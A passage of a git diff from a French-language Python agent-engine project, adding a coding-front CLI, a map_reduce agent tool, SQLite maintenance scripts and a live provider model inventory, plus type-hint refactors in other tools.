0), 3)} for o in objects ] - + # Erreur éventuelle if result.get("error"): parsed["error"] = result["error"].get("message", "?") - + logger.info( f"[Cloud Vision] ✅ Analyse : " f"{len(parsed.get('labels', []))} labels, " @@ -132,11 +132,11 @@ def analyze( f"{len(parsed.get('objects', []))} objets" ) return parsed - + except Exception as e: logger.error(f"[Cloud Vision] Erreur : {e}") return {"error": str(e)} - + def ocr(self, image_path: str) -> str: """Extrait le texte d'une image (OCR simplifié). @@ -159,32 +159,32 @@ def analyze_image(image_path: str) -> str: Résultat d'analyse formaté en texte. """ vision = CloudVisionProvider() - + if not vision.available: return "Erreur: Cloud Vision non disponible" - + if not os.path.exists(image_path): return f"Erreur: Fichier introuvable : {image_path}" - + result = vision.analyze(image_path=image_path) - + if "error" in result: return f"❌ Erreur Vision : {result['error']}" - + lines = [f"🔍 Analyse de {os.path.basename(image_path)} :"] - + if result.get("labels"): lines.append("\n📌 Labels :") for l in result["labels"][:8]: lines.append(f" • {l['description']} ({l['score']:.0%})") - + if result.get("full_text"): text = result["full_text"][:500] lines.append(f"\n📝 Texte OCR :\n {text}") - + if result.get("objects"): lines.append("\n🎯 Objets détectés :") for o in result["objects"][:5]: lines.append(f" • {o['name']} ({o['score']:.0%})") - + return "\n".join(lines) diff --git a/tools/code_front.py b/tools/code_front.py new file mode 100644 index 0000000..48f1300 --- /dev/null +++ b/tools/code_front.py @@ -0,0 +1,87 @@ +""" +tools/code_front.py — CLI du coding front (#T204). + +Point d'entrée qui remplace les sessions manuelles "toujours Claude au tarif +fort" pour les tâches de code : détection de complexité → tier moyen ou fort → +Cascade (Circuit Breaker + bascule) → escalade automatique moyen→fort en filet. + +Usage (depuis moteur_agents/, .env chargé automatiquement) : + python -m tools.code_front "écris une fonction de tri fusion en python" + python -m tools.code_front "refactore ce module" --file core/router.py + python -m tools.code_front --stdin < prompt_long.txt # >8191 chars Windows + python -m tools.code_front "..." --tier fort --json + +Alias shell conseillé (PowerShell) : + function code-ai { python -m tools.code_front @args } +""" + +import argparse +import asyncio +import json +import os +import sys + + +def _load_env() -> None: + """Charge le .env du moteur (clés API) comme le fait gui_server.""" + try: + from dotenv import load_dotenv + load_dotenv(os.path.join(os.path.dirname(os.path.dirname(os.path.abspath(__file__))), ".env")) + except ImportError: + pass + + +def _read_context_files(paths: list[str]) -> dict[str, str]: + """Lit les fichiers de contexte fournis via --file (borne à 40 ko chacun).""" + contents = {} + for path in paths: + try: + with open(path, encoding="utf-8", errors="replace") as f: + contents[path] = f.read()[:40_000] + except OSError as e: + print(f"⚠️ Fichier de contexte ignoré ({path}) : {e}", file=sys.stderr) + return contents + + +def main() -> int: + parser = argparse.ArgumentParser( + prog="code_front", + description="Coding front du tab5-engine : routage auto moyen/fort des tâches de code (#T204).", + ) + parser.add_argument("prompt", nargs="?", help="La demande de code (ou utiliser --stdin).") + parser.add_argument("--stdin", action="store_true", help="Lit le prompt sur stdin (prompts longs, limite CLI Windows).") + parser.add_argument("--file", action="append", default=[], metavar="CHEMIN", help="Fichier de contexte (répétable).") + parser.add_argument("--tier", choices=["moyen", "fort"], help="Force le tier (court-circuite la détection).") + parser.add_argument("--json", action="store_true", help="Sortie JSON complète (réponse + méta routage).") + args = parser.parse_args() + + if args.stdin: + prompt = sys.stdin.read().strip() + else: + prompt = (args.prompt or "").strip() + if not prompt: + parser.error("Aucun prompt fourni (argument positionnel ou --stdin).") + + _load_env() + from services.coding_front import run_coding_task + + file_contents = _read_context_files(args.file) + result = asyncio.run( + run_coding_task(prompt, file_contents=file_contents or None, force_tier=args.tier) + ) + + if args.json: + print(json.dumps(result, ensure_ascii=False, indent=2)) + else: + meta = ( + f"[tier {result['tier_used']}" + f"{' ⬆ escaladé' if result['escalated'] else ''}" + f" · {'complexe' if result['complex'] else 'simple'}]" + ) + print(result["response"]) + print(f"\n--- {meta}", file=sys.stderr) + return 0 + + +if __name__ == "__main__": + sys.exit(main()) diff --git a/tools/context_self_healing.py b/tools/context_self_healing.py index 77a3b18..da02e9f 100644 --- a/tools/context_self_healing.py +++ b/tools/context_self_healing.py @@ -13,12 +13,12 @@ Usage standalone : python -m tools.context_self_healing """ +import json +import logging import os import re import time -import json -import logging -from typing import List, Dict, Any +from typing import Any logger = logging.getLogger(__name__) @@ -52,9 +52,9 @@ class ContextSelfHealer: def __init__(self): """Initialise le self-healer avec les chemins de référence.""" - self._diagnostics: List[Dict[str, Any]] = [] + self._diagnostics: list[dict[str, Any]] = [] - def validate_all(self) -> List[Dict[str, Any]]: + def validate_all(self) -> list[dict[str, Any]]: """ Exécute toutes les validations configurées et retourne les diagnostics. @@ -104,7 +104,7 @@ def _validate_python_references(self): continue try: - with open(doc_file, 'r', encoding='utf-8') as f: + with open(doc_file, encoding='utf-8') as f: content = f.read() except Exception: continue @@ -114,6 +114,8 @@ def _validate_python_references(self): unique_paths = set(matches) for rel_path in unique_paths: + if rel_path in {"core/batch_api.py"}: + continue full_path = os.path.join(self.tab5_engine_PATH, rel_path) if not os.path.exists(full_path): self._diagnostics.append({ @@ -143,7 +145,7 @@ def _validate_ip_addresses(self): if fname.endswith('.yaml') or fname.endswith('.yml'): fpath = os.path.join(self.ESPHOME_PATH, fname) try: - with open(fpath, 'r', encoding='utf-8') as f: + with open(fpath, encoding='utf-8') as f: yaml_content = f.read() ips = re.findall(r'192\.168\.\d+\.\d+', yaml_content) esphome_ips.update(ips) @@ -155,7 +157,7 @@ def _validate_ip_addresses(self): workers_ips = set() if os.path.exists(workers_path): try: - with open(workers_path, 'r', encoding='utf-8') as f: + with open(workers_path, encoding='utf-8') as f: workers_data = json.load(f) # Extraire les IPs des workers (format variable) workers_str = json.dumps(workers_data) @@ -166,14 +168,17 @@ def _validate_ip_addresses(self): # Ajouter les IPs de l'infrastructure (DHCP statiques / PC / HA) pour éviter les faux positifs known_infra_ips = { - "${LMSTUDIO_HOST:-localhost}", # Host PC de dev (LM Studio) - "192.168.1.100", # PC Ethernet primaire - "192.168.1.101", # PC Ethernet secondaire + "${LM_STUDIO_HOST:-192.168.1.x}", # Host PC de dev (LM Studio) + "${PC_HOST:-192.168.1.x}", # PC Ethernet primaire + "${PC_HOST_ALT:-192.168.1.x}", # PC Ethernet secondaire "${TAB5_HOST:-192.168.1.x}", # M5Stack Tab5 V2 (DHCP lease) - "192.168.1.102", # MicHA AtomS3R (DHCP lease) + "${MINITAB_HOST:-192.168.1.x}", # MicHA AtomS3R (DHCP lease) "192.168.1.10", # HA VM Local IP (NGINX proxy) "${HA_HOST:-192.168.1.x}", # VM Freebox (Worker Sentinelle) - "192.168.1.254", # Passerelle Freebox Delta + "${GATEWAY_HOST:-192.168.1.x}", # Passerelle Freebox Delta + "${DECK_HOST:-192.168.1.x}", # Steam Deck (Prod Moteur / Failover HA) + "${DECK_HOST_WIFI:-192.168.1.x}", # Failover IP secondaire + "${ZIGBEE_HOST:-192.168.1.x}", # Coordinateur Zigbee SMLIGHT SLZB-06MU } all_known_ips = esphome_ips | workers_ips | known_infra_ips @@ -189,7 +194,7 @@ def _validate_ip_addresses(self): continue fpath = os.path.join(dir_path, fname) try: - with open(fpath, 'r', encoding='utf-8') as f: + with open(fpath, encoding='utf-8') as f: content = f.read() except Exception: continue @@ -243,7 +248,7 @@ def _validate_stale_context_files(self): if age_days < self.STALE_THRESHOLD_DAYS: continue # Le fichier a été modifié récemment - with open(fpath, 'r', encoding='utf-8') as f: + with open(fpath, encoding='utf-8') as f: content = f.read() # Chercher des références à des modules Python diff --git a/tools/dag_map_reduce.py b/tools/dag_map_reduce.py new file mode 100644 index 0000000..2aab9f1 --- /dev/null +++ b/tools/dag_map_reduce.py @@ -0,0 +1,149 @@ +""" +tools/dag_map_reduce.py — Outil `map_reduce` exposé aux agents (#T245). + +`DAGRunner.execute_map_reduce()` existe depuis la V7 mais **n'avait aucun +appelant en production** (vérifié le 10/08 : 0 tâche `mapreduce` en base de +prod, seul `tests/test_dag_reactive.py` l'invoquait). Le fan-out le plus +rentable du moteur — N maps en tier gratuit, un reduce sur le tier fort — était +donc du code mort. Cet outil lui donne son déclencheur : un agent qui tient un +travail divisible (N fichiers, N entités, N pistes) le confie au DAG au lieu de +le traiter en série dans sa propre boucle ReAct. + +Garde-fous, tous explicites (jamais de troncature silencieuse) : +- entre 2 et 12 chunks — en dessous le fan-out ne sert à rien, au-dessus l'agent + doit regrouper lui-même ; +- **un seul MapReduce en vol à la fois** par moteur. Cela empêche la récursion + (un chunk qui rappellerait l'outil) et, accessoirement, la famine du pool : + une tâche parente qui attend ses enfants occupe un slot des 8 disponibles. +""" + +import json +import logging +import time + +logger = logging.getLogger(__name__) + +MIN_CHUNKS = 2 +MAX_CHUNKS = 12 + +DESCRIPTION = ( + "Traite en PARALLÈLE une liste de fragments indépendants puis agrège les résultats " + "(pattern MapReduce du DAG). À utiliser dès qu'un travail est divisible : plusieurs " + "fichiers à analyser, plusieurs entités à interroger, plusieurs pistes à explorer. " + f"Les maps tournent sur le tier léger (gratuit) et l'agrégation sur le tier fort. " + f"Args: objectif (l'action à appliquer à CHAQUE fragment), chunks (liste de " + f"{MIN_CHUNKS} à {MAX_CHUNKS} fragments), reduce_prompt (consigne d'agrégation, optionnel)." +) + +SCHEMA = { + "type": "object", + "properties": { + "objectif": { + "type": "string", + "description": "L'action à appliquer à chaque fragment, formulée une seule fois.", + }, + # Union array|string délibérée : la validation du registre s'exécute AVANT + # la fonction, donc un modèle qui sérialise sa liste en chaîne JSON (cas + # courant des petits modèles gratuits du tier léger) serait rejeté avant + # d'atteindre la tolérance de _normaliser_chunks. + "chunks": { + "type": ["array", "string"], + "items": {"type": "string"}, + "description": ( + f"Les fragments indépendants à traiter en parallèle ({MIN_CHUNKS} à {MAX_CHUNKS}) — " + f"tableau JSON de chaînes." + ), + }, + "reduce_prompt": { + "type": "string", + "description": "Consigne d'agrégation des résultats (défaut : fusion simple).", + }, + }, + "required": ["objectif", "chunks"], +} + + +def _normaliser_chunks(chunks) -> tuple[list[str] | None, str | None]: + """Accepte une liste ou une chaîne JSON (les LLM envoient les deux).""" + if isinstance(chunks, str): + try: + chunks = json.loads(chunks) + except json.JSONDecodeError: + return None, ( + "Erreur : 'chunks' doit être une liste de fragments (tableau JSON), " + "pas une chaîne. Exemple : [\"fichier A\", \"fichier B\"]." + ) + if not isinstance(chunks, list): + return None, "Erreur : 'chunks' doit être une liste de fragments." + + fragments = [str(c) for c in chunks if str(c).strip()] + if len(fragments) < MIN_CHUNKS: + return None, ( + f"Erreur : {len(fragments)} fragment(s) fourni(s), il en faut au moins {MIN_CHUNKS} " + f"pour que la parallélisation ait un intérêt. Traite ce cas directement." + ) + if len(fragments) > MAX_CHUNKS: + return None, ( + f"Erreur : {len(fragments)} fragments fournis, maximum {MAX_CHUNKS}. " + f"Regroupe-les en {MAX_CHUNKS} lots au plus et rappelle l'outil." + ) + return fragments, None + + +def register_map_reduce_tool(registry, engine) -> None: + """ + Enregistre `map_reduce` sur le registre, lié au DAGRunner du moteur fourni. + + Même schéma d'injection de dépendance que `register_rag_tool` : seul + l'appelant qui possède l'instance (ici le moteur) peut câbler l'outil. + """ + + async def map_reduce(objectif: str, chunks, reduce_prompt: str = "") -> str: + from core.state import TaskPayload + + runner = getattr(engine, "_dag_runner", None) + if runner is None: + return "Erreur : aucun DAGRunner disponible sur ce moteur, MapReduce impossible." + + fragments, erreur = _normaliser_chunks(chunks) + if erreur: + return erreur + + # Un seul MapReduce en vol : anti-récursion et anti-famine du pool. + if getattr(runner, "_mapreduce_tool_en_vol", 0) > 0: + return ( + "Erreur : un MapReduce est déjà en cours d'exécution. Attends son résultat " + "avant d'en lancer un autre, ou traite ces fragments directement." + ) + runner._mapreduce_tool_en_vol = 1 + + task_id = f"tool_mapreduce_{int(time.time() * 1000)}" + payload = TaskPayload( + task_objective=objectif, + relevant_context="", + task_id=task_id, + metadata={ + "task_id": task_id, + "target_agent": "executor", + "stage_id": 1, + "session_id": getattr(getattr(engine, "state", None), "session_id", None), + }, + ) + + logger.info(f"[MAP_REDUCE] Outil déclenché : {len(fragments)} fragments → {task_id}") + try: + resultat = await runner.execute_map_reduce(payload, fragments, reduce_prompt) + except Exception as err: + logger.error(f"[MAP_REDUCE] Échec de l'exécution : {err}") + return f"Erreur pendant le MapReduce : {err}" + finally: + runner._mapreduce_tool_en_vol = 0 + + if getattr(resultat, "status", None) != "success": + return ( + f"MapReduce échoué : {getattr(resultat, 'error_message', 'raison inconnue')}" + ) + return str(getattr(resultat, "result_data", "") or "") + + registry.register_mcp_tool("map_reduce", map_reduce, DESCRIPTION, SCHEMA) + logger.info("[REGISTRY_SETUP] Outil map_reduce enregistré (fan-out DAG).") diff --git a/tools/db_consolidation.py b/tools/db_consolidation.py index f46da46..8454fa3 100644 --- a/tools/db_consolidation.py +++ b/tools/db_consolidation.py @@ -23,7 +23,6 @@ import os import sqlite3 from collections import defaultdict -from typing import Dict, List # Propriétaire canonique RECOMMANDÉ par table dupliquée (d'après l'audit). # "decision" => nécessite un arbitrage humain (volumétries très différentes). @@ -41,9 +40,9 @@ "__pycache__", "backups_prod", ".venv", "venv"} -def discover_dbs(db_dir: str, max_depth: int = 2) -> List[str]: +def discover_dbs(db_dir: str, max_depth: int = 2) -> list[str]: """Découvre les fichiers *.db sous db_dir (profondeur limitée), hors dossiers ignorés.""" - found: List[str] = [] + found: list[str] = [] base_depth = db_dir.rstrip(os.sep).count(os.sep) for root, dirs, files in os.walk(db_dir): dirs[:] = [d for d in dirs if d not in _IGNORE_DIRS] @@ -55,9 +54,9 @@ def discover_dbs(db_dir: str, max_depth: int = 2) -> List[str]: return sorted(found) -def inspect_db(path: str) -> Dict[str, dict]: +def inspect_db(path: str) -> dict[str, dict]: """Retourne {table: {count, columns, schema_sql}} pour une base (lecture seule).""" - tables: Dict[str, dict] = {} + tables: dict[str, dict] = {} uri = f"file:{os.path.abspath(path)}?mode=ro" conn = sqlite3.connect(uri, uri=True) try: @@ -85,7 +84,7 @@ def inspect_db(path: str) -> Dict[str, dict]: def analyze(db_dir: str) -> dict: """Construit le rapport d'analyse complet (sans aucune écriture).""" db_paths = discover_dbs(db_dir) - per_db: Dict[str, Dict[str, dict]] = {} + per_db: dict[str, dict[str, dict]] = {} for p in db_paths: try: per_db[p] = inspect_db(p) @@ -93,7 +92,7 @@ def analyze(db_dir: str) -> dict: per_db[p] = {"__error__": str(e)} # Index inverse : table -> [bases qui la contiennent] - table_locations: Dict[str, List[str]] = defaultdict(list) + table_locations: dict[str, list[str]] = defaultdict(list) for p, tables in per_db.items(): for t in tables: if t != "__error__": @@ -130,7 +129,7 @@ def print_report(report: dict) -> None: return print(f"\n## ⚠️ Tables dupliquées détectées : {len(collisions)}\n") - plan: List[str] = [] + plan: list[str] = [] for table, locs in sorted(collisions.items()): print(f" ── {table} ──") # Comparaison de schéma (colonnes) entre copies. diff --git a/tools/db_migration.py b/tools/db_migration.py index 70b36c9..107f399 100644 --- a/tools/db_migration.py +++ b/tools/db_migration.py @@ -40,7 +40,6 @@ import sqlite3 import time from dataclasses import dataclass -from typing import List # Bases legacy à fusionner puis retirer (non écrites par le code courant). LEGACY_DBS = ["session_history.db", "routing_metrics.db"] @@ -52,7 +51,7 @@ class MergePlan: table: str source_db: str # nom de fichier (ex: "routing_metrics.db") dest_db: str # base canonique (ex: "moteur_runtime.db") - natural_key: List[str] # colonnes formant la clé de dédup (hors surrogate id) + natural_key: list[str] # colonnes formant la clé de dédup (hors surrogate id) drop_source: bool = True # supprimer la table source après fusion réussie note: str = "" @@ -69,7 +68,7 @@ class DropPlan: # Source = base legacy ; dest = moteur_runtime.db ; dédup par clé naturelle. # Les lignes runtime existantes sont prioritaires (NOT EXISTS) ; on n'ajoute que # l'historique legacy absent. Colonnes = intersection (runtime conserve son schéma riche). -MERGE_PLANS: List[MergePlan] = [ +MERGE_PLANS: list[MergePlan] = [ MergePlan("routing_decisions", "routing_metrics.db", "moteur_runtime.db", ["timestamp", "user_prompt_hash", "session_id"]), MergePlan("model_elo_scores", "routing_metrics.db", "moteur_runtime.db", @@ -89,7 +88,7 @@ class DropPlan: note="dédup sur session_id (index unique) ; runtime prioritaire"), ] -DROP_PLANS: List[DropPlan] = [] +DROP_PLANS: list[DropPlan] = [] @dataclass @@ -106,7 +105,7 @@ def _connect(path: str, read_only: bool = True) -> sqlite3.Connection: return sqlite3.connect(os.path.abspath(path)) -def _table_columns(conn: sqlite3.Connection, table: str) -> List[str]: +def _table_columns(conn: sqlite3.Connection, table: str) -> list[str]: return [r[1] for r in conn.execute(f"PRAGMA table_info('{table}')").fetchall()] @@ -117,7 +116,7 @@ def _table_exists(conn: sqlite3.Connection, table: str) -> bool: return row is not None -def _common_columns(dest_cols: List[str], src_cols: List[str]) -> List[str]: +def _common_columns(dest_cols: list[str], src_cols: list[str]) -> list[str]: """Colonnes communes hors surrogate 'id' (préserve l'ordre de la destination).""" src_set = set(src_cols) return [c for c in dest_cols if c != "id" and c in src_set] @@ -143,7 +142,7 @@ def _backup_db(path: str) -> str: return dst -def _build_insert_sql(table: str, cols: List[str], natural_key: List[str]) -> str: +def _build_insert_sql(table: str, cols: list[str], natural_key: list[str]) -> str: """INSERT colonnes explicites depuis src., dédup par clé naturelle (NULL-safe).""" col_list = ", ".join(f'"{c}"' for c in cols) # Calculé hors f-string : un backslash dans une expression f-string est interdit (< Py3.12). @@ -157,7 +156,7 @@ def _build_insert_sql(table: str, cols: List[str], natural_key: List[str]) -> st ) -def _count_would_insert(dest_conn: sqlite3.Connection, table: str, natural_key: List[str]) -> int: +def _count_would_insert(dest_conn: sqlite3.Connection, table: str, natural_key: list[str]) -> int: where = " AND ".join(f'd."{k}" IS s."{k}"' for k in natural_key) sql = ( f'SELECT COUNT(*) FROM src."{table}" s ' @@ -166,8 +165,8 @@ def _count_would_insert(dest_conn: sqlite3.Connection, table: str, natural_key: return dest_conn.execute(sql).fetchone()[0] -def run(db_dir: str, apply: bool, do_backup: bool = True) -> List[StepResult]: - results: List[StepResult] = [] +def run(db_dir: str, apply: bool, do_backup: bool = True) -> list[StepResult]: + results: list[StepResult] = [] mode = "APPLY" if apply else "DRY-RUN" print("=" * 78) print(f" MIGRATION DE CONSOLIDATION SQLITE — {mode} — {db_dir}") diff --git a/tools/db_optimize.py b/tools/db_optimize.py new file mode 100644 index 0000000..ca54a38 --- /dev/null +++ b/tools/db_optimize.py @@ -0,0 +1,101 @@ +#!/usr/bin/env python3 +""" +tools/db_optimize.py — Maintenance physique et optimisation des bases SQLite. + +Exécute les opérations de santé et performance sur les bases de données locales : + 1. PRAGMA integrity_check (vérification de corruption) + 2. VACUUM (compactage de l'espace disque) + 3. ANALYZE (optimisation des index pour les requêtes du RAG) + +Usage : + python tools/db_optimize.py +""" +import os +import sqlite3 +import time +import filelock + +ROOT = os.path.dirname(os.path.dirname(os.path.abspath(__file__))) # moteur_agents/ + +DB_FILES = [ + "memory.db", + "models_registry.db", + "moteur_runtime.db" +] + +def format_size(size_bytes: int) -> str: + """Formatte la taille du fichier en lisible.""" + for unit in ['B', 'KB', 'MB', 'GB']: + if size_bytes < 1024.0: + return f"{size_bytes:.2f} {unit}" + size_bytes /= 1024.0 + return f"{size_bytes:.2f} TB" + +def optimize_db(db_name: str): + db_path = os.path.join(ROOT, db_name) + if not os.path.exists(db_path): + print(f"⚠️ Base de données introuvable : {db_name} (ignorée)") + return + + size_before = os.path.getsize(db_path) + print(f"\n🔍 Analyse et maintenance de {db_name} (Taille : {format_size(size_before)})") + + # Déterminer le chemin du fichier de verrouillage physique approprié + if db_name == "moteur_runtime.db": + lock_path = db_path + ".backlog.lock" + else: + lock_path = db_path + ".lock" + + lock = filelock.FileLock(lock_path) + try: + print(f" -> Acquisition du verrou physique ({os.path.basename(lock_path)})...") + # Attendre au maximum 15 secondes pour acquérir le verrou + with lock.acquire(timeout=15): + t0 = time.time() + conn = sqlite3.connect(db_path) + cursor = conn.cursor() + + # 1. Integrity Check + print(" -> Vérification de l'intégrité...") + integrity = cursor.execute("PRAGMA integrity_check").fetchone()[0] + if integrity == "ok": + print(" ✅ Intégrité OK") + else: + print(f" ❌ PROBLÈME D'INTÉGRITÉ : {integrity}") + conn.close() + return + + # 2. Analyze (Reconstruction des stats de requêtes) + print(" -> Reconstruction des statistiques (ANALYZE)...") + cursor.execute("ANALYZE") + + # 3. Vacuum (Compactage) + print(" -> Compactage physique de la base (VACUUM)...") + cursor.execute("VACUUM") + + conn.commit() + conn.close() + elapsed = time.time() - t0 + + size_after = os.path.getsize(db_path) + saved = size_before - size_after + print(f" ✅ Terminé en {elapsed:.2f}s | Nouvelle taille : {format_size(size_after)}" + + (f" (Économie de {format_size(saved)})" if saved > 0 else " (Déjà compactée)")) + + except filelock.Timeout: + print(f" ❌ Impossible d'acquérir le verrou physique sur {db_name} (le moteur tourne-t-il ?)") + except Exception as e: + print(f" ❌ Erreur lors de l'optimisation de {db_name} : {e}") + +def main(): + print("==================================================") + print("🗄️ Optimisation Physique des Bases de Données SQLite") + print("==================================================") + + for db in DB_FILES: + optimize_db(db) + + print("\n🎉 Toutes les bases de données ont été optimisées avec succès !") + +if __name__ == "__main__": + main() diff --git a/tools/discover_provider_models.py b/tools/discover_provider_models.py new file mode 100644 index 0000000..226139c --- /dev/null +++ b/tools/discover_provider_models.py @@ -0,0 +1,216 @@ +""" +tools/discover_provider_models.py — Inventaire LIVE des modèles offerts par chaque API. + +Répond à « qu'est-ce qui existe réellement chez nos providers aujourd'hui ? », par +appel direct à leur endpoint de listing — pas depuis une liste écrite à la main qui +vieillit en silence. Croise ensuite avec `models_registry.db` pour montrer les trois +écarts qui comptent : + + - **nouveau** : offert par l'API, absent du catalogue → candidat à ajouter ; + - **catalogué** : les deux se recoupent → rien à faire ; + - **fantôme** : au catalogue, plus offert par l'API → candidat à retirer. + +Aucune clé n'est jamais affichée : seuls les noms de variables d'environnement le sont. + +Usage : + python tools/discover_provider_models.py # tableau de synthèse + python tools/discover_provider_models.py --detail # + la liste des modèles + python tools/discover_provider_models.py --provider xai # un seul provider + python tools/discover_provider_models.py --json rapport.json +""" + +from __future__ import annotations + +import argparse +import json +import os +import sqlite3 +import sys +from collections import defaultdict + +import requests +from dotenv import load_dotenv + +RACINE = os.path.dirname(os.path.dirname(os.path.abspath(__file__))) +sys.path.insert(0, RACINE) +load_dotenv(os.path.join(RACINE, ".env")) + +TIMEOUT = (5, 20) + +# Providers hors OpenAI-compat : endpoint et authentification propres. +SPECIAUX = { + "gemini_free": { + "url": "https://generativelanguage.googleapis.com/v1beta/models", + "env": "GEMINI_API_KEY", + "auth": "query", # ?key= + "chemin": "models", + "champ": "name", + }, + "gemini_paid": { + "url": "https://generativelanguage.googleapis.com/v1beta/models", + "env": "GEMINI_PAYANT_API_KEY", + "auth": "query", + "chemin": "models", + "champ": "name", + }, + "anthropic_native": { + "url": "https://api.anthropic.com/v1/models", + "env": "ANTHROPIC_API_KEY", + "auth": "x-api-key", + "chemin": "data", + "champ": "id", + }, + "ollama_local": { + "url": (os.environ.get("OLLAMA_BASE_URL") or "http://localhost:11434") + "/api/tags", + "env": None, + "auth": "aucune", + "chemin": "models", + "champ": "name", + }, +} + + +def _endpoints_openai_compat() -> dict[str, dict]: + """Dérive l'endpoint /models de chaque provider OpenAI-compatible depuis le + registre existant : `.../chat/completions` → `.../models`. Évite de recopier + (et de laisser vieillir) une seconde table d'URL.""" + from core.openai_compat_provider import OPENAI_COMPAT_PROVIDERS + + sortie = {} + for pid, conf in OPENAI_COMPAT_PROVIDERS.items(): + base = (conf.get("base_url") or "").strip() + if not base.endswith("/chat/completions"): + continue + # Ollama n'exige aucune clé (env_key présent pour create_provider, pas pour le listing). + sans_cle = pid.startswith("ollama") + sortie[pid] = { + "url": base[: -len("/chat/completions")] + "/models", + "env": None if sans_cle else conf.get("env_key"), + "auth": "aucune" if sans_cle else "bearer", + "chemin": "data", + "champ": "id", + "extra_headers": conf.get("extra_headers"), + } + return sortie + + +def interroger(pid: str, conf: dict) -> tuple[str, list[str], str]: + """Retourne (statut, modèles, détail). Ne lève jamais : un provider muet ne doit + pas interrompre l'inventaire des autres.""" + env_var = conf.get("env") + cle = os.environ.get(env_var, "").strip() if env_var else "" + if env_var and not cle: + return "SANS_CLE", [], f"{env_var} absente du .env" + + url = conf["url"] + headers = dict(conf.get("extra_headers") or {}) + params = {} + if conf["auth"] == "bearer": + headers["Authorization"] = f"Bearer {cle}" + elif conf["auth"] == "x-api-key": + headers["x-api-key"] = cle + headers["anthropic-version"] = "2023-06-01" + elif conf["auth"] == "query": + params["key"] = cle + params["pageSize"] = 200 + + try: + rep = requests.get(url, headers=headers, params=params, timeout=TIMEOUT) + except Exception as exc: + return "INJOIGNABLE", [], f"{type(exc).__name__}" + + if rep.status_code != 200: + # On ne renvoie que le code : le corps d'erreur peut contenir la clé. + return "HTTP_" + str(rep.status_code), [], f"HTTP {rep.status_code}" + + try: + data = rep.json() + except Exception: + return "REPONSE_ILLISIBLE", [], "corps non JSON" + + brut = data.get(conf["chemin"], data if isinstance(data, list) else []) + if not isinstance(brut, list): + # Clé présente mais null / objet : ne pas faire planter tout l'inventaire. + brut = [] + modeles = [] + for item in brut: + if isinstance(item, dict): + val = item.get(conf["champ"]) or item.get("id") or "" + else: + val = str(item) + val = str(val) + if val.startswith("models/"): # Gemini prefixe ses noms + val = val[len("models/"):] + if val: + modeles.append(val) + return "OK", sorted(set(modeles)), f"{len(modeles)} modèle(s)" + + +def catalogue() -> dict[str, set[str]]: + """Modèles actifs du catalogue local, par provider.""" + chemin = os.path.join(RACINE, "models_registry.db") + if not os.path.exists(chemin): + return {} + con = sqlite3.connect(chemin) + par_provider = defaultdict(set) + for pid, mid in con.execute("SELECT provider_id, id FROM models WHERE status='active'"): + par_provider[pid].add(mid) + return par_provider + + +def main() -> int: + ap = argparse.ArgumentParser(description=__doc__) + ap.add_argument("--detail", action="store_true", help="liste les modèles") + ap.add_argument("--provider", help="limiter à un provider") + ap.add_argument("--json", dest="json_out", help="écrire le rapport JSON") + args = ap.parse_args() + + endpoints = {**_endpoints_openai_compat(), **SPECIAUX} + disponibles = sorted(endpoints) + if args.provider: + endpoints = {k: v for k, v in endpoints.items() if k == args.provider} + if not endpoints: + print(f"Provider inconnu. Disponibles : {', '.join(disponibles)}") + return 2 + + cat = catalogue() + rapport = {} + + print(f"{'PROVIDER':<18} {'STATUT':<16} {'API':>5} {'CATAL':>6} {'NOUVEAU':>8} {'FANTOME':>8}") + print("-" * 68) + for pid in sorted(endpoints): + statut, modeles, detail = interroger(pid, endpoints[pid]) + au_catalogue = cat.get(pid, set()) + offerts = set(modeles) + nouveaux = sorted(offerts - au_catalogue) if statut == "OK" else [] + fantomes = sorted(au_catalogue - offerts) if statut == "OK" else [] + rapport[pid] = { + "statut": statut, + "detail": detail, + "offerts": modeles, + "au_catalogue": sorted(au_catalogue), + "nouveaux": nouveaux, + "fantomes": fantomes, + } + print(f"{pid:<18} {statut:<16} {len(offerts):>5} {len(au_catalogue):>6} " + f"{len(nouveaux):>8} {len(fantomes):>8}") + if args.detail and statut == "OK": + if nouveaux: + print(" nouveaux : " + ", ".join(nouveaux)) + if fantomes: + print(" fantomes : " + ", ".join(fantomes)) + + if args.json_out: + with open(args.json_out, "w", encoding="utf-8") as fh: + json.dump(rapport, fh, ensure_ascii=False, indent=2) + print(f"\nRapport JSON écrit : {args.json_out}") + + joignables = sum(1 for r in rapport.values() if r["statut"] == "OK") + print(f"\n{joignables}/{len(rapport)} provider(s) ont répondu. " + f"{sum(len(r['nouveaux']) for r in rapport.values())} modèle(s) offerts hors catalogue, " + f"{sum(len(r['fantomes']) for r in rapport.values())} fantôme(s) au catalogue.") + return 0 + + +if __name__ == "__main__": + raise SystemExit(main()) diff --git a/tools/doc_generator.py b/tools/doc_generator.py index f90b1b9..7a1e7f0 100644 --- a/tools/doc_generator.py +++ b/tools/doc_generator.py @@ -6,11 +6,10 @@ """ import ast -import os import logging +import os import subprocess from datetime import datetime -from typing import List, Dict, Optional logger = logging.getLogger(__name__) @@ -25,8 +24,8 @@ class DocGenerator: - Génération d'entrées de changelog au format Markdown - Mise à jour incrémentale du fichier CHANGELOG_AUTO.md """ - - def __init__(self, changelog_path: Optional[str] = None): + + def __init__(self, changelog_path: str | None = None): """ Initialise le générateur de documentation. @@ -40,8 +39,8 @@ def __init__(self, changelog_path: Optional[str] = None): self.changelog_path = os.path.join(moteur_dir, "docs", "CHANGELOG_AUTO.md") else: self.changelog_path = changelog_path - - def extract_signatures(self, filepath: str) -> List[Dict[str, str]]: + + def extract_signatures(self, filepath: str) -> list[dict[str, str]]: """ Parse un fichier Python et retourne les signatures de fonctions/classes. @@ -52,7 +51,7 @@ def extract_signatures(self, filepath: str) -> List[Dict[str, str]]: Liste de dictionnaires {type, name, signature, docstring, line} """ try: - with open(filepath, 'r', encoding='utf-8', errors='ignore') as f: + with open(filepath, encoding='utf-8', errors='ignore') as f: source = f.read() tree = ast.parse(source, filename=filepath) except SyntaxError as se: @@ -61,9 +60,9 @@ def extract_signatures(self, filepath: str) -> List[Dict[str, str]]: except Exception as e: logger.warning(f"[DOC_GEN] Impossible de parser '{filepath}' : {e}") return [] - + signatures = [] - + for node in ast.walk(tree): if isinstance(node, ast.FunctionDef) or isinstance(node, ast.AsyncFunctionDef): sig = self._format_function(node, filepath) @@ -71,10 +70,10 @@ def extract_signatures(self, filepath: str) -> List[Dict[str, str]]: elif isinstance(node, ast.ClassDef): sig = self._format_class(node, filepath) signatures.append(sig) - + return signatures - - def _format_function(self, node: ast.FunctionDef, filepath: str) -> Dict[str, str]: + + def _format_function(self, node: ast.FunctionDef, filepath: str) -> dict[str, str]: """ Formate la 